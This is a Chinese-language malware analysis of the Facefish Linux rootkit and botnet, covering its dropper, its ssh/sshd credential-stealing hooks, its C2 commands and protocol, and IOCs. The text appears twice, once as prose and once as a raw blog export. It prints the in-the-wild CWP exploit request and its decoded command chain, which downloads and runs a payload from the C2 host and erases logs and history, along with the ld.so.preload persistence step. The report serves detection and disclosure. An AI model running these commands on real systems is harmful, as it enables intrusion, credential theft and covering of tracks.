.init_proc函数首先会解密Config，取得C2,PORT等相关信息，然后判断被注入的进程是否为SSH/SSHD，如果是则对处理凭证的相关函数进行HOOK，最终当ssh主动对处连接，或sshd被动收到外部连接时，Facefish在Hook函数的帮助下，窃取登录凭着并发送给C2。



0x1 寻找SSH


如果当前系统为FreeBSD则，通过dlopen函数获取link_map结构的地址，利用link_map可以遍历当前进程所加载的模块，进而找到SSH相关模块。





如果当前系统不是FreeBSD，则通过.got.plt 表的第2项，得到link_map的地址。





得到SSH相关模块后，接着判断模块是否为ssh/sshd，方法比较简单，即验证模块中是否有以下字串。通过这一点，可知Facefish事实上只攻击OpenSSH实现的client/server。


1:usage: ssh
2:OpenSSH_




0x2 HOOK函数


首先，Facefish会查找hook的函数地址


其中要hook的ssh函数如所示：



要hook的sshd函数如下所示：



如果没有找到，则将函数名加上前缀Fssh_再找一次。如果还是没有找到，则通过函数中的字串间接定位到函数。最后通过以下代码片断实现Hook。





实际中HOOK前后的对比如下所示：





0x3 窃取登录凭证


Facefish在Hook后的函数帮助下，窃取登录凭证，并上报给C2。





上报的数据格式为%08x-%08x-%08x-%08x,%s,%s,%s,%s,%s，其中前32节节为加密的key，后面跟着账号，远程主机，密码等信息。


实际中上报的信息如下所示：




bind 函数分析


一旦用户通过ssh登录，将会触发bind函数接着执行一系列后门行为，具体分析如下：


如果后门初始化正常，首先会fork后门子进程并进入连接C2的指令循环，父进程则通过syscall(0x68/0x31)调用真正的bind函数。



0x1: 主机行为


判断sshd父进程是否存在，如果父进程退出，则后门进程也退出。


如果父进程存在开始收集主机信息，包括：CPU型号、Arch，内存大小、硬盘大小、ssh服务相关配置文件和凭证数据。


CPU型号


内存


硬盘


网络设备


SSH服务相关



0x2: C2指令介绍


Facefish使用的通信协议及加密算法比较复杂，其中0x2XX开头的指令用来交换公钥，我们在下一小节进行详细分析。0x3XX开头的指令是真正的C2功能指令。这里先对C2的功能指令做简单说明。


 * 
   
   
   发 0x305
   
   
   是否发送上线信息0x305，如果没有则收集信息并上报。
   


 * 
   
   
   发0x300
   
   
   功能上报窃取的凭证信息
   

 * 
   
   
   发0x301
   
   
   收集uname信息，组包并发送0x301，等待进一步指令。
   


 * 
   
   
   收0x302
   
   
   接受指令0x302，反向shell。
   


 * 
   
   
   收0x310
   
   
   接受指令0x310，执行任意的系统命令
   


 * 
   
   
   发0x311
   
   
   发指令0x311，返回系统命令的执行结果
   

 * 
   
   
   收0x312
   
   
   接受指令0x312，重新收集并上报主机信息。
   



0x3: 通信协议分析


Facefish的rootkit使用了一个自定义的加密协议进行C2通信，该协议使用DH (Diffie–Hellman) 算法进行密钥协商，使用BlowFish对称加密算法进行数据加密。具体运行时，单次C2会话可以分为两个阶段，第一阶段对应密钥协商，第二阶段便是使用协商好的密钥进行C2加密通信。Facefish的每次C2会话只收取并解密一条C2指令，然后便会结束。不难看出，因为使用了DH和Blowfish算法，仅从流量数据入手是无法获取其C2通信内容的，而且这种一次一密的通信也不会留下用于精准识别的流量特征。


一般来说使用DH协议框架通信最简便的方法是使用OpenSSL库，而Facefish的作者自己编码(或者使用了某些开源项目)实现了整个通信过程，因为没有引入第三方库所以代码体积非常精减。


 * 
   
   
   DH通信原理
   
   
   为了更好的理解Facefish的密钥交换代码，我们需要先简单了解一下DH通信原理。这里不讨论背后的数学原理，而是用一个简单的例子直接套公式描述通信过程。
   
   
   step 1. 甲生成一个随机数 a=4，选择一个素数 p=23，和一个底数 g=5，并计算出 公钥A:A= g^a%p = 5^4%23 = 4，然后将p，g，A同时发送给乙。
   
   
   step 2. 乙收到上述信息后也生成一个随机数 b=3，使用同样的公式算出公钥B:B = g^b%p = 5^3%23 = 10，然后将B发送给甲。同时乙计算出双方共享的机密值用于生成后续的Blowfish密钥: s = A^b%p = (g^a)^b%p = 18。
   
   
   step 3. 甲收到B后也可以计算出共享机密值：s = B^a%p = (g^b)^a%p = 18
   
   
   step 4. 甲乙双方基于共享机密s生成blowfish密钥，进行加密C2通信。
   
   
   实质上通过简单推导可以看出甲和乙计算s的公式是同一个 ：
   


在整个算法中有一个关键的数学函数求幂取模 power(x, y) mod z，当x，y都很大的时候直接求解比较困难，所以就用到了快速幂取模算法。前文提到的start函数正是快速幂取模 binpow() 中的关键代码，


 * 
   
   
   协议分析
   
   
   发包和收包使用相同的数据结构。
   
   
     struct package{
         struct header{
             WORD payload_len;  //payload长度
             WORD cmd; 		//指令编码
             DWORD payload_crc; // payload crc校验值
         } ;
         struct header hd;
         unsigned char payload[payload_len]; // 数据
     }
   
   
   
   以构造0x200指令数据包为例可以定义数据包如下：
   
   
   struct package pkg = {
   	.hd.payload_len = 0;
   	.hd.cmd = 0x200;
   	.hd.payload_crc = 0;
   	.payload = "";
   }
   
   
   
   
   对照DH通信原理和流量数据我们分析通信协议：
   


 1. 
    
    
    bot首先发送指令0x200，payload数据为空。
    

 2. 
    
    
    C2回复了指令0x201，payload长度为24个字节，按小端转换成3个 64位的数值，分别对应step1中甲发送的3个关键数据，p=0x294414086a9df32a，g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758。
    

 3. 
    
    
    对应step2，bot在本地生成了一个随机数b，然后根据收到的p，g 生成B=0x0e27ddd4b848924c，通过指令0x202发送给C2。至此完成了共享机密的协商。
    


 4. 对应step3，bot和C2通过公钥A和公钥B生成Blowfish密钥s和iv。其中iv是通过p和g异或得到的。


 5. 
    
    
    有了iv 和 s 我们可以对通信数据进行加解密。真正的通信数据采用BlowFish算法加解密，和前文提到的配置文件加密的方法是一致的。bot向C2发送0x305指令，长度为0x1b0，内容是BlowFish加密后的上线包数据。
    
    
    解密后的上线包数据如下：
    



IOC


Sample MD5


38fb322cc6d09a6ab85784ede56bc5a7 sshins
d6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so



C2


176.111.174.26:443


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 背景介绍\n\n2021年2月，我们捕获了一个通过CWP的Nday漏洞传播的未知ELF样本，简单分析后发现这是一个新botnet家族的样本。它针对Linux x64系统，配置灵活，并且使用了一个基于Diffie–Hellman和Blowfish的私有加密协议。但因为通过合作机构（在中国区有较好网络通信观察视野）验证后发现对应的C2通信命中为0，所以未再深入分析。\n\n2021年4月26号，Juniper发布了关于此样本的[**分析报告**](https://blogs.juniper.net/en-us/threat-research/linux-servers-hijacked-to-implant-ssh-backdoor)，我们注意到报告中忽略了一些重要的技术细节，所以决定将漏掉的细节分享出来。\n\n该家族的入口ELF样本```MD5=38fb322cc6d09a6ab85784ede56bc5a7```是一个Dropper，它会释放出一个Rootkit。因为Juniper并未为样本定义家族名，鉴于Dropper在不同的时间点释放的Rootkit有不同的MD5值，犹如川剧中的变脸，并且该家族使用了Blowfish加密算法，我们将它命名为```Facefish```。\n\n\n# Facefish概览\nFacefish由Dropper和Rootkit 2部分组成，主要功能由Rootkit模块决定。Rootkit工作在Ring3层，利用```LD_PRELOAD```特性加载，通过Hook ssh/sshd程序的相关函数以窃取用户的登录凭证，同时它还支持一些后门功能。因此可以将Facefish定性为，一款针对Linux平台的窃密后门。\n\nFacefish的主要功能有\n\n* 上报设备信息\n* 窃取用户凭证\n* 反弹Shell\n* 执行任意命令\n\n基本流程如下图所示：\n\n![fish_brief](__GHOST_URL__/content/images/2021/05/fish_brief.png)\n# 传播方式\n\n在野利用的漏洞如下所示\n\n```\nPOST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1\nHost: xxx.xx.xx.xx:2031\nUser-Agent: python-requests/2.25.1\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\nContent-Length: 0\n\n```\n\n将与Facefish相关部分转码后，得到以下执行命令序列，可以看出主要功能为下载执行第一阶段的payload，然后清理痕迹。\n\n```\ncd /usr/bin; \n/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; \nchmod 0777 /usr/bin/sshins; \nls -al /usr/bin/sshins; ./sshins; \ncat /etc/ld.so.preload;\nrm -rf /usr/bin/sshins; \nsed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log; \nhistory -c\n```\n\n\n\n# 逆向分析\n\n简单来说，Facefish的感染程序可以分成3个阶段，\n\nStage 0: 预备阶段，通过漏洞传播，在设备上植入Dropper\n\nStage 1: 释放阶段，Dropper释放出Rootkit\n\nStage 2:业务阶段，Rootkit 收集回传敏感信息，等待执行C2下发的指令\n\n下文将从Stage 1到Stage 2着手，分析Facefish的各个阶段的技术细节。\n\n\n\n\n\n## Stage 1:Dropper分析\n\nDropper的基体信息如下所示，主要功能为检测运行环境，解密存有C2信息的Config， 配置Rootkit，最后释放并启动Rootkit。\n\n> MD5:38fb322cc6d09a6ab85784ede56bc5a7\n>\n> ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped\n>\n> Packer: UPX\n\n另处值得一提的是，Drooper在二进制层面，采用了一些```tricks```来对抗杀软的查杀。\n\n## Trick 1:upx with overlay\n\n如下图所示，将加密的Config数据作为overlay，填充到upx加壳后的样本尾部。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_upxoverlay.png\"  width=\"860px\" />\n\n这种做法的目的有2个:\n\n1. 对抗upx脱壳\n2. Config数据与样本解耦，可以通过工具更新Config，无需再编译源码，方便在黑市流通\n\n\n\n\n\n   \n\n## Trick 2:elf without sections\n\n如下图所示，脱壳后样本中的section信息被抹除了\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_section.png\"  width=\"860px\" />\n\n这种做法的目的有2个:\n\n1. 某些依赖section的信息进行分析的工具无法正常工作，抹除section在一定程度上加大了分析难度\n2. 某些杀毒引擎依赖section信息生成特征的的检测区，抹除section在一定程度上实现了免杀\n\n## Dropper主要功能\n\nDropper运行时会输出下图中的信息：\n\n\n![fish_blow](__GHOST_URL__/content/images/2021/03/fish_proc.png)\n\n根据这个信息，我们将Dropper的功能分成了以下4个阶段\n\n1. 检测运行环境\n2. 解密Config\n3. 配置Rootkit\n4. 释放并启动Rootkit\n\n### 0x1:检测运行环境\n\n首先读取```/bin/cat```的前16个字节，通过判断第5个字节(EI_CLASS)的值来判断当前系统的位数,目前Facefish只支持x64系统。然后检查自身否在root权限下运行，最后尝试从自身文件尾部 读入Config信息。其中任一环节失败，Facefish都将放弃感染，直接退出。\n\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_env.png\"  width=\"860px\" />\n\n\n### 0x2:解密Config\n\n原始的Config信息长度为128字节，采用Blowfish算法的CBC模式加密，以overlay的形式储存在文件尾部。其中Blowfish的解密key&iv如下：\n\n- key:buil\n- iv:00 00 00 00 00 00 00 00\n\n值得一提的是在使用Blowfish时，其作者在编码过程中，玩了一个小trick来“恶心”安全研究人员，以下图代码片段为例：\n\n\n![fish_blow](__GHOST_URL__/content/images/2021/03/fish_blow.png)\n\n第一眼看上去，会让人以为Blowfish的密钥为\"build\"。注意第3个参数为4，即密钥的长度为4字节，所以真实的密钥为\"buil\"。\n\n以原始的Config为例，\n\n```\nBD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59\n5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56\nE4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2\n00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69\nEB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1\nA0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF\n71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1\nBA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7\n```\n\n解密后的Config如下所示，可以看到其中的c2:port信息（176.111.174.26:443）。\n\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_dec.png\"  width=\"860px\" />\n\n\n\n各字段具体的含义如下:\n\n| offset                | length | meaning      |\n| --------------------- | ------ | ------------ |\n| 0x00                  | 4      | magic        |\n| 0x0c                  | 4      | interval     |\n| 0x10                  | 4      | offset of c2 |\n| 0x14                  | 4      | port         |\n| 0x20(pointed by 0x10) |       | c2           |\n\n解密完成后，通过以下代码片段对Config进行校验，校验方法比较简单，即比较magic值是不是```0xCAFEBABE```，当校验通过后，进入配置Rootkit阶段。\n\n\n![fish_blow](__GHOST_URL__/content/images/2021/03/fish_check.png)\n\n\n\n### 0x3:配置Rootkit\n\n\n\n首先以当前时间为种子随机生成16个字节做为新的Blowfish的加密key，将上阶段的解密得到的Config使用新的key重新加密。\n\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_newkey.png\"  width=\"860px\" />\n\n然后利用标志```0xCAFEBABEDEADBEEF```定位Dropper中的Rootkit的特定位置，写入新的加密key以及重新加密后的Config信息。\n\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_confroot.png\"  width=\"860px\" />\n\n文件的变化如下所示：\n写入之前：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_emconf.png\"  width=\"860px\" />\n\n写入之后：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_newconf.png\"  width=\"860px\" />\n\n在这个过程中因为加密key是随机生成的，所以不同时间释放的Rootkit的MD5值是不一样的，我们推测，这种设计是用来对抗杀软黑白HASH检测。\n\n\n![fish_blow](__GHOST_URL__/content/images/2021/03/fish_rodiff.png)\n\n\n另外值得一提的是，Facefish专门对FreeBSD操作系统做了支持。实现方法比较简单，如下图所示，即通过判断cat二进制中的EI_OSABI是否等于9，如果是则把Rootkit中的EI_OSABI值修改成9。\n![fish_freebsd](__GHOST_URL__/content/images/2021/05/fish_freebsd.png)\n\n\n### 0x4:释放并启动Rootkit\n\n\n\n将上阶段配置好的的Rootkit写到 ```/lib64/libs.so```文件中，同时向```/etc/ld.so.preload```写入以下内容实现Rootkit的预加载。\n\n```\n /lib64/libs.so\n```\n\n通过以下命令重起ssh服务，让Rootkit有机会加载到sshd程序中\n\n```\n/etc/init.d/sshd restart\n/etc/rc.d/sshd restart\nservice ssh restart\nsystemctl restart ssh\nsystemctl restart sshd.service\n```\n\n实际效果如下所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_mod.png\"  width=\"860px\" />\n\n至此Dropper的任务完成，Rootkit开始工作。\n\n## Stage 2:Rootkit分析\n\nFacefish的Rootkit模块```libs.so```工作在Ring3层，通过LD_PRELOAD特性加载，它基本信息如下所示：\n\n> MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2\n>\n> ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped\n\n在IDA中能看到它导出了3个函数，根据preload机制，当rootkit被加载时，它们会替代libc的同名函数，实现hook。\n![face_export](__GHOST_URL__/content/images/2021/05/face_export.png)\n```init_proc函数```，它的主要功能是hook ssh/sshd进程中的相关函数以窃取登录凭证。\n```bind函数```，它的主要功能是上报设备信息，等待执行C2下发的指令。\n```start函数```，它的主要功能是为网络通信中的密钥交换过程计算密钥。\n## .init_proc 函数分析\n.init_proc函数首先会解密Config，取得C2,PORT等相关信息，然后判断被注入的进程是否为SSH/SSHD，如果是则对处理凭证的相关函数进行HOOK，最终当ssh主动对处连接，或sshd被动收到外部连接时，Facefish在Hook函数的帮助下，窃取登录凭着并发送给C2。\n\n### 0x1 寻找SSH\n如果当前系统为FreeBSD则，通过dlopen函数获取link_map结构的地址，利用link_map可以遍历当前进程所加载的模块，进而找到SSH相关模块。\n\n![fish_fmap](__GHOST_URL__/content/images/2021/05/fish_fmap.png)\n\n如果当前系统不是FreeBSD，则通过`.got.plt` 表的第2项，得到link_map的地址。\n\n![fish_nmap](__GHOST_URL__/content/images/2021/05/fish_nmap.png)\n\n得到SSH相关模块后，接着判断模块是否为ssh/sshd，方法比较简单，即验证模块中是否有以下字串。通过这一点，可知Facefish事实上只攻击OpenSSH实现的client/server。\n\n```\n1:usage: ssh\n2:OpenSSH_\n```\n\n### 0x2 HOOK函数\n\n首先，Facefish会查找hook的函数地址\n\n其中要hook的ssh函数如所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_sshproc.png\"  width=\"860px\" />\n\n要hook的sshd函数如下所示：\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_sshdproc.png\"  width=\"860px\" />\n\n如果没有找到，则将函数名加上前缀```Fssh_```再找一次。如果还是没有找到，则通过函数中的字串间接定位到函数。最后通过以下代码片断实现Hook。\n\n![face_hook](__GHOST_URL__/content/images/2021/05/fish_hook.png)\n\n实际中HOOK前后的对比如下所示：\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_comp.png\"  width=\"860px\" />\n\n\n\n\n### 0x3 窃取登录凭证\n\nFacefish在Hook后的函数帮助下，窃取登录凭证，并上报给C2。\n\n![fish_upinfo](__GHOST_URL__/content/images/2021/05/fish_upinfo.png)\n\n上报的数据格式为```%08x-%08x-%08x-%08x,%s,%s,%s,%s,%s```，其中前32节节为加密的key，后面跟着账号，远程主机，密码等信息。\n\n实际中上报的信息如下所示：\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_pass.png\"  width=\"860px\" />\n\n\n## bind 函数分析\n一旦用户通过ssh登录，将会触发bind函数接着执行一系列后门行为，具体分析如下：\n\n如果后门初始化正常，首先会fork后门子进程并进入连接C2的指令循环，父进程则通过syscall(0x68/0x31)调用真正的bind函数。\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170340084-1.png"}],["markdown",{"markdown":"\n### 0x1: 主机行为\n\n判断sshd父进程是否存在，如果父进程退出，则后门进程也退出。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170431037-1.png"}],["markdown",{"markdown":"如果父进程存在开始收集主机信息，包括：CPU型号、Arch，内存大小、硬盘大小、ssh服务相关配置文件和凭证数据。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508165505995-1.png"}],["markdown",{"markdown":"CPU型号"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170040197-1.png"}],["markdown",{"markdown":"内存"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170138167-2.png"}],["markdown",{"markdown":"硬盘"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170600524-1.png"}],["markdown",{"markdown":"网络设备"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508173142888-1.png"}],["markdown",{"markdown":"SSH服务相关"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170834920-1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508173314536-1.png"}],["markdown",{"markdown":"### 0x2: C2指令介绍\n\nFacefish使用的通信协议及加密算法比较复杂，其中0x2XX开头的指令用来交换公钥，我们在下一小节进行详细分析。0x3XX开头的指令是真正的C2功能指令。这里先对C2的功能指令做简单说明。\n\n* 发 0x305\n  \n  是否发送上线信息0x305，如果没有则收集信息并上报。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508173614278-1.png"}],["markdown",{"markdown":"\n* 发0x300\n\n  功能上报窃取的凭证信息\n\n  \n\n* 发0x301\n\n  收集uname信息，组包并发送0x301，等待进一步指令。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508174238407-1.png"}],["markdown",{"markdown":"* 收0x302\n\n  接受指令0x302，反向shell。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508174458428-1.png"}],["markdown",{"markdown":"* 收0x310\n\n  接受指令0x310，执行任意的系统命令"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508175705147-1.png"}],["markdown",{"markdown":"* 发0x311\n\n  发指令0x311，返回系统命令的执行结果\n  \n  \n  \n* 收0x312\n\n  接受指令0x312，重新收集并上报主机信息。\n\n\n### 0x3: 通信协议分析\n\n  Facefish的rootkit使用了一个自定义的加密协议进行C2通信，该协议使用DH [(Diffie–Hellman)](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange) 算法进行密钥协商，使用BlowFish对称加密算法进行数据加密。具体运行时，单次C2会话可以分为两个阶段，第一阶段对应密钥协商，第二阶段便是使用协商好的密钥进行C2加密通信。Facefish的每次C2会话只收取并解密一条C2指令，然后便会结束。不难看出，因为使用了DH和Blowfish算法，仅从流量数据入手是无法获取其C2通信内容的，而且这种一次一密的通信也不会留下用于精准识别的流量特征。\n\n  一般来说使用DH协议框架通信最简便的方法是使用OpenSSL库，而Facefish的作者自己编码(或者使用了某些开源项目)实现了整个通信过程，因为没有引入第三方库所以代码体积非常精减。\n\n* DH通信原理\n\n  为了更好的理解Facefish的密钥交换代码，我们需要先简单了解一下DH通信原理。这里不讨论背后的数学原理，而是用一个简单的例子直接套公式描述通信过程。\n\n  step 1. 甲生成一个随机数 a=4，选择一个素数 p=23，和一个底数 g=5，并计算出 公钥A:`A= g^a%p = 5^4%23 = 4`，然后将p，g，A同时发送给乙。\n\n  step 2. 乙收到上述信息后也生成一个随机数 b=3，使用同样的公式算出公钥B:`B = g^b%p = 5^3%23 = 10`，然后将B发送给甲。同时乙计算出双方共享的机密值用于生成后续的Blowfish密钥: `s = A^b%p = (g^a)^b%p = 18`。\n\n  step 3. 甲收到B后也可以计算出共享机密值：`s = B^a%p = (g^b)^a%p = 18`\n\n  step 4. 甲乙双方基于共享机密s生成blowfish密钥，进行加密C2通信。\n\n  实质上通过简单推导可以看出甲和乙计算s的公式是同一个 ：\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/formlua-2.PNG"}],["markdown",{"markdown":"  在整个算法中有一个关键的数学函数求幂取模 power(x, y) mod z，当x，y都很大的时候直接求解比较困难，所以就用到了[快速幂取模算法](https://oi-wiki.org/math/quick-pow/)。前文提到的`start`函数正是快速幂取模 binpow() 中的关键代码，"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510123409286-1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510123553608-1.png"}],["markdown",{"markdown":"* 协议分析\n\n  \n\n  发包和收包使用相同的数据结构。\n\n  ```c\n    struct package{\n        struct header{\n            WORD payload_len;  //payload长度\n            WORD cmd; \t\t//指令编码\n            DWORD payload_crc; // payload crc校验值\n        } ;\n        struct header hd;\n        unsigned char payload[payload_len]; // 数据\n    }\n  ```\n  \n  以构造0x200指令数据包为例可以定义数据包如下：\n  \n  ```c\n  struct package pkg = {\n  \t.hd.payload_len = 0;\n  \t.hd.cmd = 0x200;\n  \t.hd.payload_crc = 0;\n  \t.payload = \"\";\n  }\n  \n  ```\n  \n  \n  \n  对照DH通信原理和流量数据我们分析通信协议：\n  "}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510104153887-1.png"}],["markdown",{"markdown":"  1. bot首先发送指令0x200，payload数据为空。\n  \n  2. C2回复了指令0x201，payload长度为24个字节，按小端转换成3个 64位的数值，分别对应step1中甲发送的3个关键数据，p=0x294414086a9df32a，g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758。\n  \n  3. 对应step2，bot在本地生成了一个随机数b，然后根据收到的p，g 生成B=0x0e27ddd4b848924c，通过指令0x202发送给C2。至此完成了共享机密的协商。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510115024505-1.png"}],["markdown",{"markdown":"  4. 对应step3，bot和C2通过公钥A和公钥B生成Blowfish密钥s和iv。其中iv是通过p和g异或得到的。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/DH_blowfish_encrypt_s.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/DH_blowfish_encrypt-1.png","caption":""}],["markdown",{"markdown":"  5. 有了iv 和 s 我们可以对通信数据进行加解密。真正的通信数据采用BlowFish算法加解密，和前文提到的配置文件加密的方法是一致的。bot向C2发送0x305指令，长度为0x1b0，内容是BlowFish加密后的上线包数据。\n  \n     解密后的上线包数据如下："}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510190724649-1.png"}],["markdown",{"markdown":"\n\n# IOC\nSample MD5\n```\n38fb322cc6d09a6ab85784ede56bc5a7 sshins\nd6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so\n```\n\nC2\n```\n176.111.174.26:443\n```"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[10,11],[10,12],[10,13],[10,14],[10,15],[10,16],[10,17],[10,18],[10,19],[10,20],[10,21],[10,22],[10,23],[10,24],[10,25],[10,26],[10,27],[10,28],[10,29],[10,30],[10,31],[10,32],[10,33],[10,34],[10,35],[10,36],[10,37],[10,38],[10,39],[1,"p",[]]],"ghostVersion":"3.0"}